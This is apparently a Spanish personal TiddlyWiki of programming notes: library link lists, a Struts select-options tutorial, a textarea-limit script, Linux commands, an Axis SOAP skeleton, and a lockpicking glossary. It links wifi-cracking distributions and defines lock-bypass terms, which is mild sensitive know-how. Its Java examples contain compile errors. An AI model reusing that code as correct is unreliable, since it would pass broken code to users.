** Safe C Library: http://www.ddj.com/article/printableArticle.jhtml;jsessionid=1PBAFHXGFGRZRQE1GHOSKH4ATMY32JVN?articleID=214502214&dept_url=/cpp/
* ''Matemáticas y ciencias:''
** Safe Math Library: http://www.ddj.com/article/printableArticle.jhtml?articleID=216401077&dept_url=/cpp/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre librerías de programación para el lenguaje [[Java]]
!Apuntes rápidos
*
!Enlaces interesantes
* ''Servicios web y XML:''
** XStream: http://xstream.codehaus.org/
* ''Gráficos y física 3D:''
** JRayTrace: http://sourceforge.net/projects/jraytrace/
** Java 3D:
* ''Gráficos y física 2D:''
** JBox 2D: http://jbox2d.org/
** Barbecue bar code generator: http://barbecue.sourceforge.net/
* ''Informes y documentos:''
** RTF Template (con Velocity): http://rtftemplate.sourceforge.net/
* ''APIs de páginas web:''
** Google Wave: http://code.google.com/intl/es-ES/apis/wave/extensions/robots/java-tutorial.html
* ''Apache Commons:''
** Math (estadística, cálculo y álgebra lineal): http://commons.apache.org/math/index.html
** Bean Utils (introspección de beans): http://commons.apache.org/beanutils/
** Collections (colecciones de objetos): http://commons.apache.org/collections/
** Codec (conversión entre formatos): http://commons.apache.org/codec/
** Configuration (gestión de archivos de configuración): http://commons.apache.org/configuration/
** Digester (genera objetos a partir de XML): http://commons.apache.org/digester/
** DB Utils (utilidades para JDBC): http://commons.apache.org/dbutils/
** Discovery (localiza e instancia clases que usan una interfaz): http://commons.apache.org/discovery/
** EL (intérprete de Expression Language de JSTL): http://commons.apache.org/el/
** Email (herramientas para enviar emails): http://commons.apache.org/email/
** Exec (permite ejecutar procesos y manejar el entorno de ejecución): http://commons.apache.org/exec/
** File Upload (permite que el servidor reciba ficheros): http://commons.apache.org/fileupload/
** IO (entrada/salida avanzada): http://commons.apache.org/io/
** JCI (Java Compiler Interface): http://commons.apache.org/jci/
** Lang (utilidades y mejoras para las clases básicas): http://commons.apache.org/lang/
** Launcher (utilidades para ejecutar aplicaciones externas): http://commons.apache.org/launcher/
** Logging (operaciones de log y registro): http://commons.apache.org/logging/
** Net (manejo de protocolos de internet): http://commons.apache.org/net/
** Pool (manejo y gestión de pooles de objetos): http://commons.apache.org/pool/
** Primitives (utilidades para el manejo de tipos primitivos): http://commons.apache.org/primitives/
** Proxy (implementación del patrón proxy): http://commons.apache.org/proxy/
** Sanselan (manejo y manipulación de imágenes): http://commons.apache.org/sanselan/
** Transaction (implementación de operaciones transaccionales): http://commons.apache.org/transaction/
** Validator (permite definir reglas de validación): http://commons.apache.org/validator/
** VFS (sistema de ficheros virtual): http://commons.apache.org/vfs/
* ''Apache HTTP Components:''
** HTTP Client: http://hc.apache.org/httpcomponents-client/index.html
*** Tutorial: http://www.javahispano.org/contenidos/es/tutorial_sobre_httpclient_por_fabio_haider_de_sap/
** HTTP Core: http://hc.apache.org/httpcomponents-core/index.html
* ''Lectura, importación y exportación de archivos:''
* ~JExcelApi: http://jexcelapi.sourceforge.net/
* Apache POI: http://poi.apache.org/spreadsheet/index.html
* ''Redes y comunicaciones:''
** http://adictosaltrabajo.com/tutoriales/tutoriales.php?pagina=jtapi
* ''Otras:''
** SprintBatch tutorial: http://www.dosideas.com/cursos/course/view.php?id=7
** Pivot, aplicaciones RIA para Java: http://pivot.apache.org/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[Java]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre librerías para [[Javascript]]
!Apuntes rápidos
*
!Enlaces interesantes
* Gráficos y animaciones:
** [[Processing JS|Processing]]: http://processingjs.org
** [[Raphael SVG|RaphaelPlugin]]: http://raphaeljs.com/reference.html
** box2D-js: http://box2d-js.sourceforge.net/index2.html
* Ciencia e ingeniería
** [[JsMath|Plugin: jsMath]]: http://www.math.union.edu/~dpvc/jsMath/download/jsMath.html
** [[ASCIISvg|MathSVGPlugin]]: http://www1.chapman.edu/~jipsen/svg/asciisvg.html
** [[ASCIIMathML|MathSVGPlugin]]: http://www1.chapman.edu/~jipsen/mathml/asciimath.html
* Herramientas para facilitar la programación:
** JQuery: http://jquery.com/
** JQuery 1.4: http://code.jquery.com/jquery-1.4.min.js
** Plugin JQuery para hacer tablas con columna fija: http://www.dotnetoutsource.com/Download/jQuery_FixedTable/JQuery_FixedTable.aspx
* ''Formateado de texto:''
** Syntax Highlighter: http://alexgorbatchev.com/wiki/SyntaxHighlighter
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre librerías de programación disponibles para múltiples lenguajes
!Apuntes rápidos
*
!Enlaces interesantes
* ''Librerías de gráficos:''
** http://gegl.org/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre librerías para Python, generalmente probadas sólo para la versión 2.5
!Apuntes rápidos
*
!Enlaces interesantes
* ''Colecciones de librerías:''
** http://docs.python.org/library/index.html
** http://vermeulen.ca/python-language-libraries.html
** Core Security Libraries: http://oss.coresecurity.com/
* ''Utilidades:''
** python-dateutil: http://labix.org/python-dateutil
** mxDateTime: http://www.egenix.com/products/python/mxBase/mxDateTime/
** cx_Freeze: http://cx-freeze.sourceforge.net/
** inlineEgg (inline assembler code): http://oss.coresecurity.com/projects/inlineegg.html
** Plugins fáciles con Sprinkles: http://pypi.python.org/pypi/sprinkles/0.4.6
* ''Redes:''
** Scapy: http://www.secdev.org/projects/scapy/
** pycap:http://pycap.sourceforge.net/
** pcapy: http://oss.coresecurity.com/projects/pcapy.html
** TwistedPython: http://twistedmatrix.com/trac/
** Proxy reductor de velocidad: http://web.archive.org/web/20080122061448/http://svn.browsershots.org/trunk/throxy/throxy.py
* ''~GUIs:''
** Enlaces varios: http://vermeulen.ca/python-gui.html
** Enlaces varios: http://wiki.python.org/moin/GuiProgramming
** Enlaces varios: http://www.python.org/doc/faq/gui/
** Python Mega Widgets: http://pmw.sourceforge.net/
** Tkzinc: http://www.tkzinc.org/tkzinc/index.php
** wxPython: http://wxpython.org/tut-part1.php
** Wax: http://sourceforge.net/projects/waxgui/
** PyGUI: http://www.cosc.canterbury.ac.nz/greg.ewing/python_gui/
** FxPy: http://fxpy.sourceforge.net/
** TnFOX: http://www.nedprod.com/TnFOX/
** PyFLTK: http://pyfltk.sourceforge.net/
** uxPython: http://www.uxpython.com/
** Nufox: http://nufox.berlios.de/
** PicoGUI: http://picogui.org/
** PyUI: http://pyui.sourceforge.net/
** Dabo: http://dabodev.com/
** Pyjamas: http://code.google.com/p/pyjamas/
** PySWT: http://www.cs.nyu.edu/zilin/pyswt/pmwiki.php?n=PySWT.Introduction
** EasyGUI: http://easygui.sourceforge.net/
* ''Lenguajes, configuración y scripting:''
** Natural Language Tool Kit (NLTK): http://www.nltk.org/
** Python Lex-Yacc: http://www.dabeaz.com/ply/
* ''Gráficos 2D y 3D:''
** Enlaces varios: http://vermeulen.ca/python-graphics.html
** Image Processing in Python: http://vermeulen.ca/python-image.html
** GEGL extensions for Python: http://gegl.org/pygegl/
** PyOpenGL: http://pyopengl.sourceforge.net/
** VPython: http://vpython.org/
* ''Motores de juegos:''
** Motor Ogre para Python: http://python-ogre.org/
** Enlaces varios: http://codeboje.de/2d-game-engines-python/
** PyGame: http://www.pygame.org/
** Pyglet: http://www.pyglet.org/
** Python PopCap: http://www.farbs.org/pycap.html
** Ika RPG game engine: http://ika.sourceforge.net/articles.php?view=26
** Sprite Craft: http://alexey.sudachen.com/freeware.shtml
** FIFE: http://wiki.fifengine.de/
** Cocos 2D: http://cocos2d.org/
* ''Visión por computador:''
** "Python and Computer Vision": http://www.python.org/workshops/2002-02/papers/05/index.htm
** PyCV: http://www3.ntu.edu.sg/home5/pham0004/pycv/
** ctypes OpenCV: http://code.google.com/p/ctypes-opencv/
** Pyro Python Robotics (CV module): http://pyrorobotics.org/?page=PyroModuleComputerVision
** PyFaces: http://code.google.com/p/pyfaces/
* ''Simuladores física:''
** Enlaces varios: http://wiki.laptop.org/go/Python_Physics
** Simulador de física 2D //"Elements"//: http://elements.linuxuser.at/
** Simulador de física 2D //"PyBox 2D"//: http://code.google.com/p/pybox2d/
** Simulador de física 2D //"PyMunk"//: http://code.google.com/p/pymunk/
* ''Física, matemáticas, ciencias y simulación:''
** Python Open Dynamics Engine: http://pyode.sourceforge.net/
** SciPy: http://www.scipy.org
** NumPy: http://numpy.scipy.org/
* ''APIs de páginas web:''
** Google Wave Robots: http://code.google.com/intl/es-ES/apis/wave/extensions/robots/python-tutorial.html
** Google App Engine (GAE): http://code.google.com/intl/es/appengine/docs/python/overview.html
** APIs para Python de servicios de Google: http://www.catonmat.net/blog/python-library-for-google-translate/
** APIs para Google Calendar: http://code.google.com/intl/es-ES/apis/calendar/data/1.0/developers_guide_python.html
** APIs para Wikidot: http://www.wikidot.com/doc:api
* ''Análisis de datos (data mining):''
** Picalo: http://www.picalo.org/download.spy
* ''Lectura de ficheros y formatos:''
** python-excel: http://www.python-excel.org/
* ''Enterprise:''
** Python Enterprise Application Kit (PEAK): http://peak.telecommunity.com
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Introducción
Para trabajar con formularios ({{{ActionForm}}}), [[Struts]] tiene una serie de etiquetas muy útiles proporcionadas por el tag-lib {{{html}}}. Para utilizarlo en un JSP hay que incluir la siguiente directiva:
{{{
<%@ taglib uri="http://struts.apache.org/tags-html" prefix="html"%>
}}}
Una de las útiles etiquetas es {{{<html:select />}}} que permite rellenar y recoger los datos de un {{{<select />}}} del html tradicional. Los valores del {{{<select />}}} se pueden rellenar uno por uno o a partir de una collection.
Para meter una entrada se puede usar {{{<html:option />}}}. El problema es a la hora de meter varias entradas desde un ArrayList.
!La solución manual
La solución manual y "poco elegante" sería hacer un bucle que fuera escribiendo elementos {{{<option />}}} con el los datos del array. Esto se puede hacer con etiquetas {{{<bean:write />}}}, {{{<c:out />}}} o incluso prescindiendo de etiquetas e incrustando código java (¡¡desaconsejado!!).
!La solución elegante
[[Struts]] ofrece dos etiquetas distintas para convertir una colección de beans en sendos {{{<option />}}}: {{{<html:options />}}} y {{{<html:optionsCollection />}}}. La primera es indicada cuando la colección es accesible como propiedad del request, y la segunda cuando la coelcción es accesible como propiedad del {{{ActionForm}}}.
!!Ejemplos
Para ilustrar la diferencia se estudiarán dos ejemplos que harán uso de las siguientes clases detalladas a continuación.
''"""DestinatarioBean.java"""''
{{{
public class DestinatarioBean {
private String id;
private String nombre;
public DestinatarioBean() {
this.DestinatariosBean("", "");
}
public DestinatariosBean(String id, String nombre) {
this.id = id;
this.nombre = nombre;
}
public void setId(String id) { this.id = id; }
public String getId() { return id; }
public void setNombre(String nombre) { this.nombre = nombre; }
public String getNombre() { return nombre; }
}
}}}
''"""EjemploForm.java"""''
{{{
import org.apache.struts.action.ActionForm;
public class EjemploForm extends ActionForm {
private ArrayList destinatarios; //ArrayList de DestinatarioBean
private String[] seleccionados1; //Seleccionados 1
private String[] seleccionados2; //Seleccionados 2
public EjemploForm() {
this.propiedad = "";
this.destinatarios = new ArrayList();
}
public void setDestinatarios(ArrayList destinatarios) { this.destinatarios = destinatarios; }
public ArrayList getDestinatarios() {return this.destinatarios; }
public void setSeleccionados1(String[] seleccionados1) { this.seleccionados1 = seleccionados1; }
public String getSeleccionados1() { return this.seleccionados1}
public void setSeleccionados2(String[] seleccionados2) { this.seleccionados2 = seleccionados2; }
public String getSeleccionado2s() { return this.seleccionados2}
}}}
''Fragmento del """PruebaAction.java"""''
{{{
ArrayList array = new ArrayList();
array.add(new DestinatariosBean("aa", "Aa"));
array.add(new DestinatariosBean("bb", "Bb"));
request.setAttribute("otroArray", array);
}}}
''"""ejemplo.jsp"""''
{{{
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="http://struts.apache.org/tags-html" prefix="html"%>
<html>
<head>
<title>Prueba</title>
</head>
<body>
<html:form action="/prueba.do" method="post">
<h1>Prueba con options</h1>
<html:select property="seleccionados2">
<html:options collection="otroArray" property="id" labelName="nombre" />
</html:select>
<h1>Prueba con optionsCollection</h1>
<html:select property="seleccionados2">
<html:optionsCollection property="destinatarios" value="id" label="nombre" />
</html:select>
</html:form>
</body>
</html>
}}}
!Introducción
Los campos de formulario de tipo {{{input}}} tienen un máximo de caracteres a introducir, pero los {{{<textarea />}}} no, y esto los hace más complicados de validar. Para poder validar su tamaño máximo, se deberá hacer mediante Javascript.
Este ejemplo muestra dos scripts, uno que se deberá ubicar en el header para que sea accesible a todo el body y otro que se añadirá al propio {{{<textarea />}}}
!Script de <header />
{{{
<script language="javascript" type="text/javascript">
function limitText(limitField, limitCount, limitNum) {
if (limitField.value.length > limitNum) {
limitField.value = limitField.value.substring(0, limitNum);
} else {
limitCount.value = limitNum - limitField.value.length;
}
}
</script>
}}}
!Script para mostrar el """<textarea />"""
{{{
<textarea name="limitedtextarea" onKeyDown="limitText(this.form.limitedtextarea,this.form.countdown,100);" onKeyUp="limitText(this.form.limitedtextarea,this.form.countdown,100);">
</textarea><br>
<font size="1">(Maximum characters: 100)<br>
Le quedan <input readonly type="text" name="countdown" size="3" value="100"> caracteres.</font>
}}}
!Variante que utiliza un """<html:text />""" de [[Struts]]
{{{
<html:textarea rows="3" cols="70" property="NombrePropiedad" styleId="NombrePropiedad" onblur="limitText(this, this.form.countdown,190);" onkeypress="limitText(this, this.form.countdown,190);" onkeydown="limitText(this, this.form.countdown,190);" onkeyup="limitText(this,this.form.countdown,190);"/>
<div class="noprint"><br>
<font size="1">(Máximo 190 caracteres contando saltos de línea)<br>
Le quedan <input readonly type="text" name="countdown" size="3" value="190"> caracteres.</font>
</div>
}}}
!Descripción
Apuntes sobre el sistema operativo GNU/Linux
!Apuntes rápidos
* Importar claves de repositorios para Debian:
{{{
gpg –keyserver subkeys.pgp.net –recv-keys <ID de clave en hexadecimal>
gpg –export –armor <ID de clave en hexadecimal>| sudo apt-key add -
}}}
* Buscar archivos que instala un paquete, para una distribución basada en RPM:
{{{
rpm -qa |grep nombre_paquete
rpm -q -l nombre_paquete_con_version
}}}
* Motar un archivo ISO:
{{{
mount ISOFILE MOUNT-POINT -o loop
}}}
!Páginas interesantes
* Pinning en Debian: http://wiki.debian.org/AptPinning?action=show&redirect=Pinning
* Distribuciones Live:
** SliTaz: http://www.slitaz.org/es/ (distribución con las últimas versiones de aircrack-ng)
** WifiSlax: http://www.wifislax.com/ (SLAX modificado y orientado al crackeo wifi)
** BackTrack: http://www.remote-exploit.org/backtrack.html (muy completa)
** Samurai Web Testing: http://samurai.inguardians.com/
* Documentación:
** Documetnación en linux.com: http://www.linux.com/ldp-index
* Revistas y publicaciones:
** Linux Magazine: https://www.linux-magazine.es/Magazine/Archive
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
El esqueleto básico para una llamada a servicio web con archivos enviados como adjuntos y formato de datos DIME:
{{{
//Crea los elementos de la llamada
Service service = new org.apache.axis.client.Service();
Call call = (Call) service.createCall();
//Configura la llamada
call.setTargetEndpointAddress(endpoint);
call.setOperationName(new javax.xml.namespace.QName("http://url/del/namespace", operation));
//Configuración de SOAP
call.setProperty(Call.SEND_TYPE_ATTR, Boolean.FALSE);
call.setProperty(org.apache.axis.AxisEngine.PROP_DOMULTIREFS, Boolean.FALSE);
call.setProperty(Call.ATTACHMENT_ENCAPSULATION_FORMAT, Call.ATTACHMENT_ENCAPSULATION_FORMAT_DIME);
//call.setSOAPVersion(org.apache.axis.soap.SOAPConstants.SOAP12_CONSTANTS);
call.setUseSOAPAction(true);
call.setSOAPActionURI("http://url/del/namespace/Action");
call.setEncodingStyle(null);
//Definición de parámetros
QName qParametro1 = new QName("http://url/del/namespace", "nombreParametro1");
call.registerTypeMapping(String.class, qParametro1,
new org.apache.axis.encoding.ser.SimpleSerializerFactory(String.class, qParametro1),
new org.apache.axis.encoding.ser.SimpleDeserializerFactory(String.class, qParametro1));
QName qParametro2 = new QName("http://url/del/namespace", "nombreParametro2");
call.registerTypeMapping(BeanPropio.class, qParametro2,
new org.apache.axis.encoding.ser.BeanSerializerFactory(BeanPropio.class, qParametro2),
new org.apache.axis.encoding.ser.BeanDeserializerFactory(BeanPropio.class, qParametro2));
QName qReturn = new QName("http://TB-Solutions.com/MFRT/", "cResultadoRegistro");
call.registerTypeMapping(BeanResultado.class, qReturn,
new org.apache.axis.encoding.ser.BeanSerializerFactory(BeanResultado.class, qReturn),
new org.apache.axis.encoding.ser.BeanDeserializerFactory(BeanResultado.class, qReturn));
//Añade los parámetros a la llamada
call.addParameter(qIdApp, XMLType.XSD_STRING, String.class, qParametro1.IN);
call.addParameter(qTipo, qReturn, BeanPropio.class, qParametro2.IN);
call.setReturnType(qReturn);
//Añade los anexos a la petición
if (anexos != null && anexos.size() > 0) {
System.out.println("DEBUG: Añadiendo anexos...");
for(int i = 0; i < anexos.size(); i++) {
javax.activation.DataHandler dh = new javax.activation.DataHandler(new javax.activation.FileDataSource((File)anexos.get(i)));
System.out.println(" - Anexo "+i+": "+dh.getName());
call.addAttachmentPart(new org.apache.axis.attachments.AttachmentPart(dh));
}
}
//Llama al servicio web
Object[] params = new java.lang.Object[] {valorParam1, valorParam2};
BeanResultado resultado = (BeanResultado)call.invoke(params);
}}}
/***
|''Name:''|LoadRemoteFileThroughProxy (previous LoadRemoteFileHijack)|
|''Description:''|When the TiddlyWiki file is located on the web (view over http) the content of [[SiteProxy]] tiddler is added in front of the file url. If [[SiteProxy]] does not exist "/proxy/" is added. |
|''Version:''|1.1.0|
|''Date:''|mar 17, 2007|
|''Source:''|http://tiddlywiki.bidix.info/#LoadRemoteFileHijack|
|''Author:''|BidiX (BidiX (at) bidix (dot) info)|
|''License:''|[[BSD open source license|http://tiddlywiki.bidix.info/#%5B%5BBSD%20open%20source%20license%5D%5D ]]|
|''~CoreVersion:''|2.2.0|
***/
//{{{
version.extensions.LoadRemoteFileThroughProxy = {
major: 1, minor: 1, revision: 0,
date: new Date("mar 17, 2007"),
source: "http://tiddlywiki.bidix.info/#LoadRemoteFileThroughProxy"};
if (!window.bidix) window.bidix = {}; // bidix namespace
if (!bidix.core) bidix.core = {};
bidix.core.loadRemoteFile = loadRemoteFile;
loadRemoteFile = function(url,callback,params)
{
if ((document.location.toString().substr(0,4) == "http") && (url.substr(0,4) == "http")){
url = store.getTiddlerText("SiteProxy", "/proxy/") + url;
}
return bidix.core.loadRemoteFile(url,callback,params);
}
//}}}
!Introducción
//"Lock Picking"// (o //"Key Bumping"//)es el término anglosajón para el mucho más familiar "cerrajería". Trata sobre como comprometer cerraduras sin disponer de la llave. Para empezar lo mejor es visitar [[la guía del MIT|http://littlepaul.com/stuff/lockpicking/mit-guide/]]
!Glosario
Extraido de http://www.lockpicking101.com/viewtopic.php?f=2&t=1069
''angled cuts:'' Cuts which are made at different possible angles (usually right, left, and center) to the length of the key blade.
''anti-drill ball bearings/lunes/rods:'' Ball bearings which are built into a cylinder in front of the first pin chamber to prevent drilling of the shear line(s).
''backplate:'' A plate on the inside of a door through which the cylinder connecting screws and tailpiece is passed.
''backset:'' The horizontal distance from the edge of a door to the center of a lockset.
''barrel key:'' A key with a bit projecting from a hollow cylindrical shaft.
''bicentric cylinder:'' A lock cylinder, usually of the pin tumbler type, that has two plugs and two sets of pin chambers instead of one.
''bi-lock:'' A pin tumber cylinder lock consisting of two parallel rows of pin tumblers and two sidebars operated by a U shaped key.
''bit key:'' A key with a bit projecting from a solid cylindrical shaft. The bit has cuts to bypass the wards or operate levers in the correct lock.
''bit key lock:'' A warded or lever lock that uses bit keys.
''bitting:'' A cut, or series of cuts, on the bit or blade of a key.
''blade:'' The portion of the key that is inserted into the lock.
''blank:'' A key before any cuts have been made.
''bolt:'' The part which is moved into a locked or unlocked position.
''bottom pin (tumblers):'' Cylinder pins usually made of brass used in setting combinations pin tumbler cylinders. Varied in length and tapered at one end allows them to sit in the "v" cuts made in keys. When the proper key is inserted, the pins form a shearline allowing the plug of the lock to be turned. (Since lock orientation can vary by region, the alternate term "key pin" is preferred.)
''bow:'' The handle of the key.
''british standard lever lock, bs lock:'' this differs from a normal lever lock in that, it must have at least 1000 key differs, it must have anti drill plate, it must have anti saw rollers in bolt, it must be tested against crow bar attack to minimum standard, it must have a security curtain, it must have anti pick defences, ie anti pick notches or false gates, it must meet many other tests, but in short its tougher to pick and tougher to drill.
''broaching:'' Part of the cross section of a keyway where metal has been removed.
''bypass:'' A method of opening a lock in which the part of the mechanism that is directly operated by the key is by-passed. Carding, shimming, etc. are examples.
''by-pass tool:'' A device that neutralizes the security of a locking device, or its application hardware, often taking advantage of a design weakness
''cabinet lock:'' A relatively small type of lock designed to be used on drawers, cabinets, pieces of furniture, or thin doors.
''cam:'' The part of a lock or cylinder which activates the bolt or latch as the key is turned. The cam may also act as the bolt.
''cam lock:'' A lock that has an attached cam that serves as the lock's bolt. Cam locks are often used on cabinets, file cabinets and drawers.
''case:'' The housing or body of a lock.
''case ward:'' Protrusions that stick out of the sides of the keyway to allow entry of only the correct type of key blank.
''change index:'' The point on a key changeable combination lock dial ring to which the old and new combinations must be dialed when changing the combination.
''change key:'' The key that operates one lock in a masterkeyed system.
''changeable lever:'' An adjustable lever consisting of a detent and sweep lever. The deten lever is unlocked from the sweep lever with a change key.
''clevis:'' A metal link for attaching a chain to a padlock.
''clover leaf cam:'' In certain types of mortise locks, a cylinder cam that has three lobes, instead of one, to activate the boltwork of the lock.
''code:'' A series of numbers or digits on a key or lock that specifies or references the particular cuts of the key to operate a lock.
''code key machine:'' A device for making a first key when its cut depth numbers and its spacing are known.
''Comb pick:'' A comb-shaped tool which is used to lift the pin tumblers of a cylinder above their normal shear line.
''control key:'' A key used to remove the core from an interchangeable core cylinder.
''control shear line:'' The shear line which allows operation of the control lug of an interchangeable core.
''control sleeve:'' The part of an interchangeable core retaining device which surrounds the plug.
''cross-bore:'' A hole drilled into the face of a door where a bored or interconnected lockset is to be installed.
''cut depth number:'' A short number, usually having only one digit, which is used as a shorthand way to represent a cut depth. eg. a number 3 cut might stand for .290 of an inch.
''curtain:'' found on lever locks, the curtain is a security barrel that restricts access to the lever pack and acts as the bolt thrower.
''curtain pick:'' this is a form of specialist 2 in 1 pick devised to pick lever locks fitted with a curtain, it enables you to put tension on the curtain/bolt thrower and have access to lift each lever in turn .
''cuts:'' A cut, or series of cuts, on the bit or blade of a key.
''cylinder key:'' A key for use with pin tumbler and wafer tumbler cylinder locks.
''cylindrical lockset:'' A bored lockset whose latch or bolt locking mechanism is contained in the portion installed through the cross-bore.
''deadbolt:'' A lock bolt, usually rectangular, that has no spring action, and that becomes locked against end pressure when fully projected.
''deadlatch:'' A lock with a beveled latch bolt that can be automatically or manually locked against end pressure when projected.
''deadlock:'' A lock that projects a deadbolt.
''deadlocking:'' Pertaining to any feature which, when fully engaged, resists attempts to move the latch or bolt in the unlocking direction through direct pressure.
''deadlocking latch:'' A latchbolt with a deadlocking mechanism.
''depth:'' The depth of a cut is measured from the bottom of the blade up to the bottom of a cut. Depths are numbered starting with #0 (or sometimes #1) as the highest depth.
''depth key:'' A special key that enables a locksmith to cut blanks made from a particular lock according to a key code.
''double-acting lever tumbler:'' One which must be lifted a precise amount, neither too little nor too much to allow movement of a bolt.
''double cylinder:'' Pertaining to a lock with two keyed cylinders.
''double cylinder deadlock:'' A deadbolt lock whose bolt may be operated by a key from either side.
''driver (driver pin):'' Any pin in a pin stack that sits adjacent to a spring. In North American locks, these are commonly called "top pins".
''Euro Profile Cylinder :'' The shape of a standard lever lock keyway in central Europe is such so that manufacturers use the same lever lock lock-case as a basis for the Euro lock cylinder. The cylinder is normally fitted with the pins "upside" down, to allow the cam on the cylinder to reach the lever lock mechanism.
Picture (Thanks to Chubby)
''flat steel key:'' A key which is completely flat on both sides, usually used for warded or lever tumbler locks.
''follower:'' A small cylindrical object that is pushed behind conventional pin-tumbler cylinder cores on removal for use of rekeying. The follower is used to keep the top pins and springs in place, meaning you don't have to re-load the pins and springs every time you pull the plug out. (Thanks to Mutzy)
''full mortise:'' Pertaining to a method of installation in which only the face plate and trim is exposed. The lock case is installed in a pocket in the door or drawer.
''grooves:'' Long narrow milled out areas along the sides of the blade to allow the blade to bypass the wards in the keyway.
''hard plate:'' also refered to as anti drill plate, this is a hardened steel plate placed over the drill vulnerable areas of a lock, an hss bit will not drill this, instead a hard plate drill must be used.
''hasp:'' A hinged metal strap designed to be passed over a staple and secured in place.
''heel & toe locking:'' Describes a padlock which has locking dogs at both the heel and toe of the shackle.
''heel (of a padlock shackle):'' The part of a padlock shackle which is retained in the case when in the unlocked position.
''hollow post key:'' A key with a bit projecting from a hollow cylindrical shaft.
''hook bolt:'' A lock bolt shaped in the general outline of a hook. Normally used on sliding doors or where spreading of the frame and door is a possible attack.
''impressioning:'' A means of fitting a key directly to a locked cylinder by manipulating a blank in the keyway and cutting the blank where the tumlbers have made marks.
''impressioning kits for bs locks:''these kits allow you to take an impression of a lever lock using a reader key and plastacine , you decode the impression and build a working key using the make up key and pin set.
''interconnected lockset:'' A lockset whose trim provides a means of simultaneous retraction of two or more bolts which may also be operated independently.
''jamb:'' The inside vertical face of a doorway.
''key code:'' A series of numbers or digits on a key or lock that specifies or references the particular cuts of the key to operate a lock.
''key pin:'' Any pin that makes contact with the key when inserted. Commonly referred to as "bottom pins" in North American locks.
''keyway:'' The part of the plug where you insert the key.
''keyway grooves:'' Long narrow milled out areas along the sides of the blade to allow the blade to bypass the wards in the keyway.
''latch:'' A mechanical device which automatically keeps a door closed until a deliberate action is used to retract it.
''lever lock:'' Lock with levers that are each lifted to the correct level by a bit key or flat metal key to enable the lock to operate.
''lever pack:'' A set of lever tumblers.
''lever tumbler:'' Usually a flat, spring-loaded tumbler which pivots on a post.
''lock:'' Any device which prevents access or use by requiring special knowledge or equipment.
''Lock Picking 101:'' This defines as either Lock Picking Beginners Class or Lock Picking can be your worse nightmare. (thanks to macaba for that addition.)
''locksmith:'' A person with the knowledge and ability to select, install, service and bypass all the components of an electrical or mechanical lock.
''lower pins:'' The pins of a lock that contact the cuts on the key. Also called bottom pins.
''MACS:'' Maximum Adjacent Cut Specification. Specified by the lock manufacturer, this refers to the greatest allowable difference between adjacent pin sizes. This is done to prevent possible key malfunction that could occur as a result of steep ramps on a key.
''mortise cylinder:'' A type of lock cylinder designed to fit into a mortise lock and operate the mechanism. Typically these cylinders are threaded and screw into the lock case.
''mortise lock:'' A type of lock where the case of the lock is inside a mortised out pocket in the edge of the door.
